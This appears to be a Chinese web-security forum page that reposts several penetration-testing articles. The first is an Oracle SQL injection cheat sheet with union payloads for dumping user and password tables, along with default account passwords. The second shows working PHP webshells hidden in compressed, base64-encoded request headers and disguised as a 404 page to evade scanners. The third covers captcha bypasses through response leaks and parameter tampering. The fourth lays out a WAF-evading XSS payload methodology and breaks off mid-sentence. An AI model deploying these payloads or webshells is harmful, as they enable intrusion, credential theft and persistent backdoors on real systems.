Oracle数据库注入总结

Web安全渗透main 发表了文章 • 0 个评论 • 79 次浏览 • 2019-03-31 16:10 • 来自相关话题

一、基础知识:Oracle 使用查询语句获取数据时需要跟上表名,没有表的情况下可以使用dual,dual是Oracle的虚拟表,用来构成select的语法规则,Oracle保证dual里面永远只有一条记录。

Oracle的数据类型是强匹配的(MYSQL有弱匹配的味道),所以在Oracle进行类似UNION查询数据时候必须让对应位置上的数据类型和表中的列的数据类型是一致的,也可以使用null代替某些无法快速猜测出数据类型的位置。

Oracle的单行注释符号是--,多行注释符号/**/。

默认用户:

SYS用户:超级管理员,默认密码是change_on_install。具有创建数据库的权限

SYSTEM用户:系统管理员,默认密码manager。不具有创建数据库的权限!

scott用户:默认密码是tiger。普通用户的权限是SYS用户或SYSTEM用户给的 

默认系统和数据库:

SYSTEM
SYSAUX 

探测版本:

SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
SELECT banner FROM v$version WHERE banner LIKE 'TNS%';
SELECT version FROM v$instance;
注:
Oracle的SELECT语句必须包含FROM从句,所以当我们并不是真的准备查询一个表的时候,我们必须使用一个假的表名‘dual’

当前用户:

SELECT user FROM dual;

列出DBA账户:(超级管理员)

SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION ='YES'; (超级管理员), 列出DBA和对应权限 

列出所有用户:

SELECT username FROM all_users ORDER BY username;
SELECT name FROM sys.user$; (超级管理员权限) 

列出权限:

SELECT * FROM session_privs; —当前用户的权限

SELECT * FROM dba_sys_privs WHERE grantee ='DBSNMP'; (超级管理员), 列出指定用户的权限

SELECT grantee FROM dba_sys_privs WHERE privilege = 'SELECT ANY DICTIONARY'; (超级管理员), 找到拥有某个权限的用户

SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS; 

当前数据库:

SELECT global_name FROM global_name;

SELECT name FROM v$database;

SELECT instance_name FROM v$instance;

SELECT SYS.DATABASE_NAME FROM DUAL; 

列出表名:

SELECT table_name FROM all_tables;

SELECT owner, table_name FROM all_tables; 

列出字段名:

SELECT column_name FROM all_tab_columns WHERE table_name = '表名';

SELECT column_name FROM all_tab_columns WHERE table_name = '表名' and owner ='用户'; 

通过字段名找到对应表:

SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%';
注: 表名都是大写

查询第N行:

SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; — 查询第9行(从1开始数) 

查询第N个字符:

SELECT substr('abcd', 3, 1) FROM dual; — 得到第三个字符‘c’ 

字符转ASCII码:

SELECT ascii('A') FROM dual; — 返回65 

ASCII值转字符:

SELECT chr(65) FROM dual; — 返回A 

类型转换:

SELECT CAST(1 AS char) FROM dual;

SELECT CAST('1' AS int) FROM dual;

格式:
Cast(字段名 as 转换的类型 ) 

拼接字符:

SELECT 'A' || 'B' FROM dual; — 返回AB
 
二、注入流程
 
【union 注入】
 
1.判断注入点类型(同MYSQL注入)'错误显示
' and 1=1 --显示正常
则为单引号闭合类型
2.判断列数:' order by 3 --
3.判断字符类型
         oracle自带虚拟表dual,oracle的查询语句必须完整的包含from字句,且每个字段的类型都要准确对应,一般使用null来判断类型。and 1=2 union select null,null..... from dual 然后一个一个去判断字段类型,方法如下:and 1=2 union select 'null',null...... from dual 返回正常,说明第一个字段是字符型,反之为数字型

第一个字段是字符型,判断第二个字段类型:
and 1=2 union select 'null','null'...... from dual 返回正常,说明第二个字段是字符型,反之为数字型

第一个字段是数字型,判断第二个字段类型:
and 1=2 union select null,'null'...... from dual 返回正常,说明第二个字段是字符型,反之为数字型
4.判断回显位置:(根据不同类型,需加上单、双引号,如下是2,3位字段字符型)' union select 1,'2','3' from dual --
5.获取数据库版本信息:' union select null,(select banner from sys.v_$version where rownum=1),null from dual --





5.获取数据第一个表名:' union select null,(select table_name from user_tables where rownum=1),null from dual --




 
6.  获取数据第二个表名:
 注意,查询第二个表时,利用筛选方法,即排除第一个表:table_name<>'T_USER'' union select null,(select table_name from user_tables where rownum=1 and table_name<>'T_USER'),null from dual --

7.获取关键表中的列/字段名:' union select null,(select column_name from user_tab_columns where table_name='T_USER' and rownum=1),null from dual --

' union select null,(select column_name from user_tab_columns where table_name='T_USER' and column_name<>'SUSER' and rownum=1),null from dual --

// 排除第一个字段后的其他字段,<>:不等于,表示筛选

 ' union select null,(select column_name from user_tab_columns where table_name='T_USER' and column_name<>'SUSER' and column_name<>'SPWD' and rownum=1),null from dual --
//排除第二个字段后的其他字段,<>:不等于

' union select null,(select column_name from user_tab_columns where table_name='T_USER' and column_name<>'SUSER' and column_name<>'SPWD' and column_name<>'SNAME' and rownum=1),null from dual --





8.获取关键列中的字段数据:(字符连接用||符号)' union select SNAME,SUSER,SPWD from T_USER --
 
 
 
参考:
https://www.cnblogs.com/peterpan0707007/p/8242119.html 
https://www.cnblogs.com/songanwei/p/9153965.html
  查看全部
一、基础知识:
Oracle 使用查询语句获取数据时需要跟上表名,没有表的情况下可以使用dual,dual是Oracle的虚拟表,用来构成select的语法规则,Oracle保证dual里面永远只有一条记录。

Oracle的数据类型是强匹配的(MYSQL有弱匹配的味道),所以在Oracle进行类似UNION查询数据时候必须让对应位置上的数据类型和表中的列的数据类型是一致的,也可以使用null代替某些无法快速猜测出数据类型的位置。

Oracle的单行注释符号是--,多行注释符号/**/。


默认用户:


SYS用户:超级管理员,默认密码是change_on_install。具有创建数据库的权限

SYSTEM用户:系统管理员,默认密码manager。不具有创建数据库的权限!

scott用户:默认密码是tiger。普通用户的权限是SYS用户或SYSTEM用户给的
 


默认系统和数据库:


SYSTEM
SYSAUX
 


探测版本:


SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
SELECT banner FROM v$version WHERE banner LIKE 'TNS%';
SELECT version FROM v$instance;

注:
Oracle的SELECT语句必须包含FROM从句,所以当我们并不是真的准备查询一个表的时候,我们必须使用一个假的表名‘dual’


当前用户:


SELECT user FROM dual;


列出DBA账户:(超级管理员)


SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION ='YES';             (超级管理员), 列出DBA和对应权限
 


列出所有用户:


SELECT username FROM all_users ORDER BY username;
SELECT name FROM sys.user$; (超级管理员权限)
 


列出权限:


SELECT * FROM session_privs;    —当前用户的权限

SELECT * FROM dba_sys_privs WHERE grantee ='DBSNMP'; (超级管理员), 列出指定用户的权限

SELECT grantee FROM dba_sys_privs WHERE privilege = 'SELECT ANY DICTIONARY'; (超级管理员), 找到拥有某个权限的用户

SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;
 


当前数据库:


SELECT global_name FROM global_name;

SELECT name FROM v$database;

SELECT instance_name FROM v$instance;

SELECT SYS.DATABASE_NAME FROM DUAL;
 


列出表名:


SELECT table_name FROM all_tables;

SELECT owner, table_name FROM all_tables;
 


列出字段名:


SELECT column_name FROM all_tab_columns WHERE table_name = '表名';

SELECT column_name FROM all_tab_columns WHERE table_name = '表名' and owner ='用户';
 


通过字段名找到对应表:


SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%';  

注: 表名都是大写


查询第N行:


SELECT username FROM (SELECT ROWNUM  r, username FROM all_users ORDER BY username) WHERE r=9; — 查询第9行(从1开始数)
 


查询第N个字符:


SELECT substr('abcd', 3, 1) FROM dual; — 得到第三个字符‘c’
 


字符转ASCII码:


SELECT ascii('A') FROM dual; — 返回65
 


ASCII值转字符:


SELECT chr(65) FROM dual; — 返回A
 


类型转换:


SELECT CAST(1 AS char) FROM dual;   

SELECT CAST('1' AS int) FROM dual;

格式:
Cast(字段名 as 转换的类型 )
 


拼接字符:


SELECT 'A' || 'B' FROM dual; — 返回AB

 
二、注入流程
 
【union 注入】
 
1.判断注入点类型(同MYSQL注入)
'错误显示
' and 1=1 --显示正常
则为单引号闭合类型

2.判断列数:
' order by 3 --

3.判断字符类型
         oracle自带虚拟表dual,oracle的查询语句必须完整的包含from字句,且每个字段的类型都要准确对应,一般使用null来判断类型。
and 1=2 union select null,null..... from dual 然后一个一个去判断字段类型,方法如下:
and 1=2 union select 'null',null...... from dual 返回正常,说明第一个字段是字符型,反之为数字型

第一个字段是字符型,判断第二个字段类型:
and 1=2 union select 'null','null'...... from dual 返回正常,说明第二个字段是字符型,反之为数字型

第一个字段是数字型,判断第二个字段类型:
and 1=2 union select null,'null'...... from dual 返回正常,说明第二个字段是字符型,反之为数字型

4.判断回显位置:(根据不同类型,需加上单、双引号,如下是2,3位字段字符型)
' union select 1,'2','3' from dual --

5.获取数据库版本信息
' union select null,(select banner from sys.v_$version where rownum=1),null from dual --





5.获取数据第一个表名
' union select null,(select table_name from user_tables where rownum=1),null from dual --




 
6.  获取数据第二个表名
 注意,查询第二个表时,利用筛选方法,即排除第一个表:table_name<>'T_USER'
' union select null,(select table_name from user_tables where rownum=1 and table_name<>'T_USER'),null from dual --


7.获取关键表中的列/字段名
' union select null,(select column_name from user_tab_columns where table_name='T_USER' and rownum=1),null from dual --

' union select null,(select column_name from user_tab_columns where table_name='T_USER' and column_name<>'SUSER' and rownum=1),null from dual --

// 排除第一个字段后的其他字段,<>:不等于,表示筛选

 ' union select null,(select column_name from user_tab_columns where table_name='T_USER' and column_name<>'SUSER' and column_name<>'SPWD' and rownum=1),null from dual --
//排除第二个字段后的其他字段,<>:不等于

' union select null,(select column_name from user_tab_columns where table_name='T_USER' and column_name<>'SUSER' and column_name<>'SPWD' and column_name<>'SNAME' and rownum=1),null from dual --





8.获取关键列中的字段数据:(字符连接用||符号)
' union select SNAME,SUSER,SPWD from T_USER --

 
 
 
参考:
https://www.cnblogs.com/peterpan0707007/p/8242119.html 
https://www.cnblogs.com/songanwei/p/9153965.html
 

渗透测试小技巧之过waf木马

gu 发表了文章 • 0 个评论 • 59 次浏览 • 2019-03-30 16:24 • 来自相关话题

转自(http://byd.dropsec.xyz/2017/06/05/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E5%B0%8F%E6%8A%80%E5%B7%A7%E4%B9%8B%E8%BF%87waf%E6%9C%A8%E9%A9%AC/)
 
 
在研究webshell查杀的时候,学习别人怎么绕waf的思路,今天发现一个很6的函数(至少之前我是没见过),然后结合之前写访问日志记录文件时用到的方法,very perfect!
Once step
普通一句话木马:<?php eval($_POST['caidao']);?>Second step
首先大家看下这个东西:






不知道大家看到这个字符串会有啥想法,反正说实话,之前我肯定不会太在意。看下源码:$compressed = gzcompress('<?php eval($_POST[\'caidao\']);?>', 9);
$uncompressed = gzuncompress($compressed);
echo $compressed;
?>Third step
那么重点来了!
我要说的就是gzcompress这个函数。然后我又查了查相关资料,找到了PHP中具有相同功能的函数还有两个:gzdeflate,gzencode。
科普下:压缩函数:gzcompress gzdeflate gzencode
解压函数:gzuncompress gzinflate gzdecode
gzdecode是PHP 5.4.0之后才加入的,使用的时候要注意兼容性问题。
这几个函数都以gz开头,让人想到gzip压缩,而光看函数名却又看不出它们之间的区别,只能查文档。
gzcompress gzdeflate gzencode函数的区别在于它们压缩的数据格式不同:
gzcompress使用的是ZLIB格式;
gzdeflate使用的是纯粹的DEFLATE格式;
gzencode使用的是GZIP格式;
其实从PHP 5.4.0开始,这三个函数是一样的,只不过第三个参数的默认值不同;如果调用时传入第三个参数,那么这三个函数返回的数据相同。
有兴趣的自己在找找吧Fourth step
写个生成密文的文件。
考虑到可能字符显示不全,无法识别等原因,再套一层base64。if(isset($_POST['str'])){
$str = $_POST['str'];
$compressed = base64_encode(gzcompress($str, 9));
echo $compressed;
}
?>Fifth step
结合访问日志记录用到的getallheaders函数,最终的webshell如下:<?php eval(gzuncompress(base64_decode(getallheaders()['w2n1ck'])));?>
用D盾查一下






虽然级别是小于3,但是说明里面显示可能eval后门,所以要去掉这个,在变形下:<?php $w2n1ck1=gzuncompress(base64_decode(getallheaders()['cai']));$w2n1ck1(gzuncompress(base64_decode(getallheaders()['dao'])));?>
看下webshell可用性





 
这里注意下,使用eval的话会报错,具体的原因请查看错误详情在安利下命令执行的一些函数:'`',eval,assert,exec,passthru,shell_exec,system,putenv,preg_replace,pcntl_exec,popen,proc_openSixth step
再用D盾检测下






还是可疑啊,那行再伪造伪造下<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<?php
$cai=getallheaders()['cai'];
$dao=getallheaders()['dao'];
if($cai!="" and $dao!=""){
$cai=gzuncompress(base64_decode($cai));$cai(gzuncompress(base64_decode($dao)));
}
header('HTTP/1.1 404 Not Found');
?>
</body></html>
再检测下:






360 5引擎检测下






very perfect!

如果觉得自己添加头麻烦可疑使用自带的请求头字段:getallheaders()['Accept-Language']
getallheaders()['User-Agent']
getallheaders()['Accept'] 查看全部
转自(http://byd.dropsec.xyz/2017/06/05/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E5%B0%8F%E6%8A%80%E5%B7%A7%E4%B9%8B%E8%BF%87waf%E6%9C%A8%E9%A9%AC/)
 
 
在研究webshell查杀的时候,学习别人怎么绕waf的思路,今天发现一个很6的函数(至少之前我是没见过),然后结合之前写访问日志记录文件时用到的方法,very perfect!
Once step
普通一句话木马:
<?php eval($_POST['caidao']);?>
Second step
首先大家看下这个东西:



不知道大家看到这个字符串会有啥想法,反正说实话,之前我肯定不会太在意。看下源码:
$compressed   = gzcompress('<?php eval($_POST[\'caidao\']);?>', 9);
$uncompressed = gzuncompress($compressed);
echo $compressed;
?>
Third step
那么重点来了!
我要说的就是gzcompress这个函数。然后我又查了查相关资料,找到了PHP中具有相同功能的函数还有两个:gzdeflategzencode
科普下:
压缩函数:gzcompress gzdeflate gzencode
解压函数:gzuncompress gzinflate gzdecode
gzdecode是PHP 5.4.0之后才加入的,使用的时候要注意兼容性问题。
这几个函数都以gz开头,让人想到gzip压缩,而光看函数名却又看不出它们之间的区别,只能查文档。
gzcompress gzdeflate gzencode函数的区别在于它们压缩的数据格式不同:
gzcompress使用的是ZLIB格式;
gzdeflate使用的是纯粹的DEFLATE格式;
gzencode使用的是GZIP格式;
其实从PHP 5.4.0开始,这三个函数是一样的,只不过第三个参数的默认值不同;如果调用时传入第三个参数,那么这三个函数返回的数据相同。
有兴趣的自己在找找吧
Fourth step
写个生成密文的文件。
考虑到可能字符显示不全,无法识别等原因,再套一层base64。
if(isset($_POST['str'])){
$str = $_POST['str'];
$compressed = base64_encode(gzcompress($str, 9));
echo $compressed;
}
?>
Fifth step
结合访问日志记录用到的getallheaders函数,最终的webshell如下:
<?php eval(gzuncompress(base64_decode(getallheaders()['w2n1ck'])));?>

用D盾查一下



虽然级别是小于3,但是说明里面显示可能eval后门,所以要去掉这个,在变形下:
<?php $w2n1ck1=gzuncompress(base64_decode(getallheaders()['cai']));$w2n1ck1(gzuncompress(base64_decode(getallheaders()['dao'])));?>

看下webshell可用性

webshell3.png

 
这里注意下,使用eval的话会报错,具体的原因请查看错误详情在安利下命令执行的一些函数:
'`',eval,assert,exec,passthru,shell_exec,system,putenv,preg_replace,pcntl_exec,popen,proc_open
Sixth step
再用D盾检测下



还是可疑啊,那行再伪造伪造下
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<?php
$cai=getallheaders()['cai'];
$dao=getallheaders()['dao'];
if($cai!="" and $dao!=""){
$cai=gzuncompress(base64_decode($cai));$cai(gzuncompress(base64_decode($dao)));
}
header('HTTP/1.1 404 Not Found');
?>
</body></html>

再检测下:



360 5引擎检测下



very perfect!

如果觉得自己添加头麻烦可疑使用自带的请求头字段:
getallheaders()['Accept-Language']
getallheaders()['User-Agent']
getallheaders()['Accept']

逻辑让我崩溃之验证码姿势分享

flaray 发表了文章 • 0 个评论 • 41 次浏览 • 2019-03-29 18:42 • 来自相关话题

转自:https://xz.aliyun.com/t/4533
## 0x00 日常BB
看论坛里大家平时发的技术文章,就知道自己是个还没踏进门槛的小学生,根本不在一个level,有点慌了。还是把自己平时发现的,自认为有点意思的点罗列出来,班门弄斧,师傅们别笑话→.→
## 0x01 前言
本次分享的是自己关于自己遇到的一些关于图形验证码的案例,可能涉及图形验证码、短信验证码等,还是没有将问题探究到多深入,希望文中的思路能有所用。 
## 0x02 喂!你的那个验证码暴露了?
### 案例前情有些开发人员在做图形验证码校验这一功能时,可能用到了类似这样的思路,所以出了问题,我不妨大胆臆想一下他们的“直男”逻辑,如下所示,那么问题就出在了验证的环节。

生成图形验证码之后,session中保存了四位验证码信息,通过GET请求获取图形验证码时,直接在验证码的末附上了session中的图形验证码值,用户传参后直接比较,同时也省去了提交之后校验的环节。
 
### 案例分享
登陆页面很直观的需要图形验证码,输入的信息均正确,就可以成功通过验证,进行登陆。那么,针对图形验证码的请求,有必要仔细瞅他一眼。

ok,在正常不过的一个请求,那瞅一眼返回信息看看,文末有彩蛋,json部分包括了captcha的值,那么字面意思可以是图形验证码的内容了,核实一下之后可以确信了。


所以这个点的问题很有可能基本上符合我上面的流程中对验证环节的臆想,剩下的就可以是绕过或者直接爆破了,因为图形验证码已经over time。
 
## 0x03 喂!穿上马甲照样认识你!
### 前情提要
上一个案例涉及到了逻辑上存在问题的验证方式,同时很明显的展示了问题存在的点,这一部分没有明显的让你发现验证码的脆弱点,为了规避掉存在问题的点,自以为是用到了常见的拼凑、混淆方式。
### 案例分享
近乎同样的功能点,这个功能点试图使用图形验证码限制短信验证码的请求频率,那么也来看一下他的请求,是否可以从中get一些有用的信息。
 PS:这个请求我们可以看到有一个参数_captcha_bankcoas_key=,这个值怎么看都像是用了base64编码,当然不排除是加密算法加密之后再次使用base64进行编码,尝试先进行base64解码看看如何,毕竟参数的定义方式已经告诉你:“这个参数和captcha有关”,来吧,试试看。

返回包中的黄色箭头部分为密文形式,原密文如下:ZTI5ZTVhNjA4NWY0YjNjNDJhNDE0MjdkNzFjODQxMjUjMTU1MzA0OTI1OTQ3MSM2MDQ4MDAjTWprM1lqUTNNV0V3TjJZelpXRm1aVFUzWXpBeE5tRmxPR0kxTnpabE56ST0=
首先进行一次base64解码,解码后的内容可以看出,好像这个串是通过一部分加密之后,再拼凑一部分再加密的方式,最后一个“#”号到结尾部分看起来就像是先base64的那部分,摘出来解解看:e29e5a6085f4b3c42a41427d71c84125#1553049259471#604800#Mjk3YjQ3MWEwN2YzZWFmZTU3YzAxNmFlOGI1NzZlNzI=
最后一个“#”号到结尾的部分再次进行base64解密:Mjk3YjQ3MWEwN2YzZWFmZTU3YzAxNmFlOGI1NzZlNzI=
再次base64解码之后得到一个密文串儿,怎么看都得是32位md5加密值,图形验证码是6位纯数字,md5在线解密来看,嗯~真香。297b471a07f3eafe57c016ae8b576e72

## 0x04 喂!验证码我说了算?
### 前情提要
这个案例的与众不同点在于要求你输入红色标记的几个数字,这种验证方式一定程度上应该是很有效果的达到了验证码的作用,但是如果获取验证码的请求中有任何用户可控的数据提交,可能验证码就不是当年的验证码了。### 案例分享这个分享的案例有一个奇怪的逻辑,在做一笔交易时,需要动过动态手机验证码验证的方式进行,获取短信验证码需要图形验证码进行校验。
But,无论这个图形验证码存在的目的是什么,获取图形验证码的请求中有一个参数recAccount是图形验证码的内容部分,那我可就……直接把内容改成1234试试水。https://www.test.com/plate/tranVerificationCode.do?recAccount=[b]1234567890[/b]&recAccountName=&trxCode=[b]02[/b]&format=JSON&channel=undefined&businessCode=undefined
修改过的recAccount到页面之后,验证码也就成了我修改后的1234,不用打码,直接自己愿意什么内容就是什么内容了。

每一笔交易也自然都可以顺利的无视图形验证码的限制了。

 ## 0x05 容我再想想
em……我突然想到,上面的案例中涉及的场景都是可以通过脚本来自动化的,但是如果在没有写脚本的情况下,能不能利用Bp现有的功能或插件来直接用,案例中的情况可以考虑通过插件Extractor和Bp自带的Marco的方式来结合使用,这样可以将bp指定范围内的请求均经过处理进行自动化的测试或者半自动化的测试。 查看全部
转自:https://xz.aliyun.com/t/4533
## 0x00 日常BB
看论坛里大家平时发的技术文章,就知道自己是个还没踏进门槛的小学生,根本不在一个level,有点慌了。还是把自己平时发现的,自认为有点意思的点罗列出来,班门弄斧,师傅们别笑话→.→
## 0x01 前言
本次分享的是自己关于自己遇到的一些关于图形验证码的案例,可能涉及图形验证码、短信验证码等,还是没有将问题探究到多深入,希望文中的思路能有所用。 
## 0x02 喂!你的那个验证码暴露了?
### 案例前情有些开发人员在做图形验证码校验这一功能时,可能用到了类似这样的思路,所以出了问题,我不妨大胆臆想一下他们的“直男”逻辑,如下所示,那么问题就出在了验证的环节。

生成图形验证码之后,session中保存了四位验证码信息,通过GET请求获取图形验证码时,直接在验证码的末附上了session中的图形验证码值,用户传参后直接比较,同时也省去了提交之后校验的环节。
 
### 案例分享
登陆页面很直观的需要图形验证码,输入的信息均正确,就可以成功通过验证,进行登陆。那么,针对图形验证码的请求,有必要仔细瞅他一眼。

ok,在正常不过的一个请求,那瞅一眼返回信息看看,文末有彩蛋,json部分包括了captcha的值,那么字面意思可以是图形验证码的内容了,核实一下之后可以确信了。


所以这个点的问题很有可能基本上符合我上面的流程中对验证环节的臆想,剩下的就可以是绕过或者直接爆破了,因为图形验证码已经over time。
 
## 0x03 喂!穿上马甲照样认识你!

### 前情提要
上一个案例涉及到了逻辑上存在问题的验证方式,同时很明显的展示了问题存在的点,这一部分没有明显的让你发现验证码的脆弱点,为了规避掉存在问题的点,自以为是用到了常见的拼凑、混淆方式。
### 案例分享
近乎同样的功能点,这个功能点试图使用图形验证码限制短信验证码的请求频率,那么也来看一下他的请求,是否可以从中get一些有用的信息。
 PS:这个请求我们可以看到有一个参数_captcha_bankcoas_key=,这个值怎么看都像是用了base64编码,当然不排除是加密算法加密之后再次使用base64进行编码,尝试先进行base64解码看看如何,毕竟参数的定义方式已经告诉你:“这个参数和captcha有关”,来吧,试试看。

返回包中的黄色箭头部分为密文形式,原密文如下:
ZTI5ZTVhNjA4NWY0YjNjNDJhNDE0MjdkNzFjODQxMjUjMTU1MzA0OTI1OTQ3MSM2MDQ4MDAjTWprM1lqUTNNV0V3TjJZelpXRm1aVFUzWXpBeE5tRmxPR0kxTnpabE56ST0=

首先进行一次base64解码,解码后的内容可以看出,好像这个串是通过一部分加密之后,再拼凑一部分再加密的方式,最后一个“#”号到结尾部分看起来就像是先base64的那部分,摘出来解解看:
e29e5a6085f4b3c42a41427d71c84125#1553049259471#604800#Mjk3YjQ3MWEwN2YzZWFmZTU3YzAxNmFlOGI1NzZlNzI=

最后一个“#”号到结尾的部分再次进行base64解密:
Mjk3YjQ3MWEwN2YzZWFmZTU3YzAxNmFlOGI1NzZlNzI=

再次base64解码之后得到一个密文串儿,怎么看都得是32位md5加密值,图形验证码是6位纯数字,md5在线解密来看,嗯~真香。
297b471a07f3eafe57c016ae8b576e72


## 0x04 喂!验证码我说了算?
### 前情提要
这个案例的与众不同点在于要求你输入红色标记的几个数字,这种验证方式一定程度上应该是很有效果的达到了验证码的作用,但是如果获取验证码的请求中有任何用户可控的数据提交,可能验证码就不是当年的验证码了。### 案例分享这个分享的案例有一个奇怪的逻辑,在做一笔交易时,需要动过动态手机验证码验证的方式进行,获取短信验证码需要图形验证码进行校验。
But,无论这个图形验证码存在的目的是什么,获取图形验证码的请求中有一个参数recAccount是图形验证码的内容部分,那我可就……直接把内容改成1234试试水。
https://www.test.com/plate/tranVerificationCode.do?recAccount=[b]1234567890[/b]&recAccountName=&trxCode=[b]02[/b]&format=JSON&channel=undefined&businessCode=undefined

修改过的recAccount到页面之后,验证码也就成了我修改后的1234,不用打码,直接自己愿意什么内容就是什么内容了。

每一笔交易也自然都可以顺利的无视图形验证码的限制了。

 ## 0x05 容我再想想
em……我突然想到,上面的案例中涉及的场景都是可以通过脚本来自动化的,但是如果在没有写脚本的情况下,能不能利用Bp现有的功能或插件来直接用,案例中的情况可以考虑通过插件Extractor和Bp自带的Marco的方式来结合使用,这样可以将bp指定范围内的请求均经过处理进行自动化的测试或者半自动化的测试。

绕过WAF的XSS检测机制(转)

Web安全渗透wuyou 发表了文章 • 0 个评论 • 85 次浏览 • 2019-03-24 19:50 • 来自相关话题

 前言
本文提出了一种定义明确的方法来绕过跨站点脚本(XSS)安全机制,通过发送探针并编写payload用于检测恶意字符串的规则。拟议的方法包括三个阶段:确定payload结构,测试和混淆。
为给定上下文确定各种payload结构提供了最佳测试方法,下一阶段涉及针对目标安全机制测试各种字符串。分析目标响应情况以便做出假设。
最后,必要时可以将payload进行混淆或其他调整。
 
 介绍
跨站点脚本(XSS)是最常见的Web应用程序漏洞之一。通过清理用户输入,基于上下文转义输出,正确使用文档对象模型(DOM)接收器和源,实施适当的跨域资源共享(CORS)策略和其他安全策略,可以完全阻止它。尽管这些防御技术是公共知识,但Web应用程序防火墙(WAF)或自定义过滤器被广泛用于添加另一层安全性,以保护Web应用程序免受人为错误或新攻击媒介引入的漏洞的利用。虽然WAF供应商仍在尝试机器学习,但正则表达式仍然是最常用的检测恶意字符串的方法。本文提出了一种构建XSS payload的方法,该payload与这种安全机制使用的正则表达式不匹配。

 HTML CONTEXT
当用户输入被显示在网页的HTML代码中时,它被称为在HTML上下文中。 HTML上下文可以进一步根据显示位置划分为内标签和外标签。
内标签–<input type="text" value="$input">外标签–<span>You entered $input</span> 外标签此上下文的‘<'负责启动HTML标签。根据HTML规范,标签名称必须以字母开头。利用此规范,可以使用以下探针来确定用于匹配标签名称的正则表达式:<svg [size=16]– 如果通过,则不进行任何标签检查[/size]<dev [size=16]– 如果失败, [/size]<[a-z]+x<dev [size=16]– 如果通过,[/size]^<[a-z]+<dEv[size=16] – 如果失败, [/size]<[a-zA-Z]+<d3V[size=16] – 如果失败, [/size]<[a-zA-Z0-9]+<d|3v[size=16] – 如果失败, [/size]<.+如果安全机制不允许这些探针,则不能绕过它。由于误报率高,这种严格的规则不被鼓励去使用。如果上述的任何一个探针未被禁止,则有许多编写payload的方案。   Payload方案#1<{tag}{filler}{event_handler}{?filler}={?filler}{javascript}{?filler}{>,//,Space,Tab,LF}找到适当的{tag}值后,下一步是猜测用于匹配标签和事件处理程序之间填充符部分的正则表达式。此操作可以通过以下探针执行:<tag xxx[size=16] – 如果失败,[/size]{space}<tag%09xxx[size=16] – 如果失败,[/size][s]<tag%09%09xxx[size=16] -如果失败, [/size]s+<tag/xxx [size=16]– 如果失败,[/size][s/]+<tag%0axxx [size=16]-如果失败, [/size][sn]+<tag%0dxxx> [size=16]-如果失败, [/size][snr+]+<tag/~/xxx[size=16] – 如果失败, [/size].*+事件处理程序是payload结构中最重要的部分之一。它通常与种类的一般正则表达式onw+或黑名单相匹配,例如on(load|click|error|show)。第一个正则表达式非常严格且不可能被绕过,然而有些不太知名的事件处理程序可能不在黑名单中,经常可以被绕过。因此可以通过两个简单的检查来识别所使用的类型。<tag{filler}onxxx[size=16] – 如果失败,[/size]onw+[size=16]如果通过, [/size]on(load|click|error|show)<tag{filler}onclick[size=16] – 如果通过,则没有事件处理程序检查正则表达式。[/size]如果正则的结果是onw+,则不能绕过它,因为所有事件处理程序都以on开始。在这种情况下,应该继续下一个payload。如果正则表达式遵循黑名单方法,则需要查找未列入黑名单的事件处理程序。如果所有事件处理程序都列入黑名单,则应继续执行下一个payload。   根据我对WAF的经验,我发现一些事件处理程序没有在黑名单中:[code]onauxclickondblclickoncontextmenuonmouseleaveontouchcancel[/code]下一个要执行的组件是JavaScript代码。它是payload的活动部分,但是匹配它不需要假设正则表达式,因为JavaScript代码是活动的,因此无法通过预定义模式进行匹配。此时,payload的所有组件都放在一起,只需要关闭payload,通过以下方式完成:<payload><payload<payload{space}<payload//<payload%0a<payload%0d<payload%09应该注意的是,HTML规范允许<tag{white space}{anything here}>这表明例如:<a href='http://example.com' ny text can be placed here as long as there's a greater-than sign somewhere later in the HTML document>是有效的HTML标签。因此,HTML标签的此属性使攻击者可以通过上述方式注入标签。 Payload方案#2<sCriPt{filler}sRc{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}测试填充符(例如结束字符串)类似先前的payload方案。必须注意的是,? 可以在URL的末尾使用(如果在URL之后没有使用填充符),而不是结束标记。每个经过? 的字符都将被视为URL的一部分,直到遇到> 。通过使用<script>标记,很可能会被大多数安全规则检测到。标签<object>的payload可以用类似的payload方案编写:<obJecT{filler}data{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}  Payload方案#3这个payload方案有两种变体:plain和obfuscatable。plain变体通常与诸如href[s]{0,}=[s]{0,}javascript:模式相匹配。其结构如下:<A{filler}hReF{?filler}={?filler}JavaScript:{javascript}{?filler}{>,//,Space,Tab,LF}obfuscatable payload变体有如下结构:<A{filler}hReF{?filler}={?filler}{quote}{special}:{javascript}{quote}{?filler}{>,//,Space,Tab,LF}这两个变体之间的显著差异是{special}组件和{quote}s。{special}[size=16]指字符串[/size]javascript[size=16]的混淆版本,这可以使用换行符和水平制表符来混淆,如下所示:[/size]j%0aAv%0dasCr%09ipt:J%0aa%0av%0aa%0as%0ac%0ar%0ai%0ap%0aT%0a:J%0aa%0dv%09a%0as%0dc%09r%0ai%0dp%09T%0d%0a:在某些情况下,数字字符编码也可用于绕过检测。可以使用十进制和十六进制。Javascript&colon;javascript:显然有必要时两种混淆技术可以一起使用。Java%0a%0d%09script&colon;  可执行和不可执行上下文根据注入的payload是否可以在没有任何特殊帮助的情况下执行,外标签上下文可以进一步分为可执行和不可执行上下文。当用户输入显示在HTML注释中时,<--$input-->或者在以下标记之间,会发生不可执行的上下文:[code]<style><title><noembed><template><noscript><textarea>[/code]为了执行payload,必须关闭这些标签。因此测试可执行和非可执行上下文之间的唯一区别是{closing 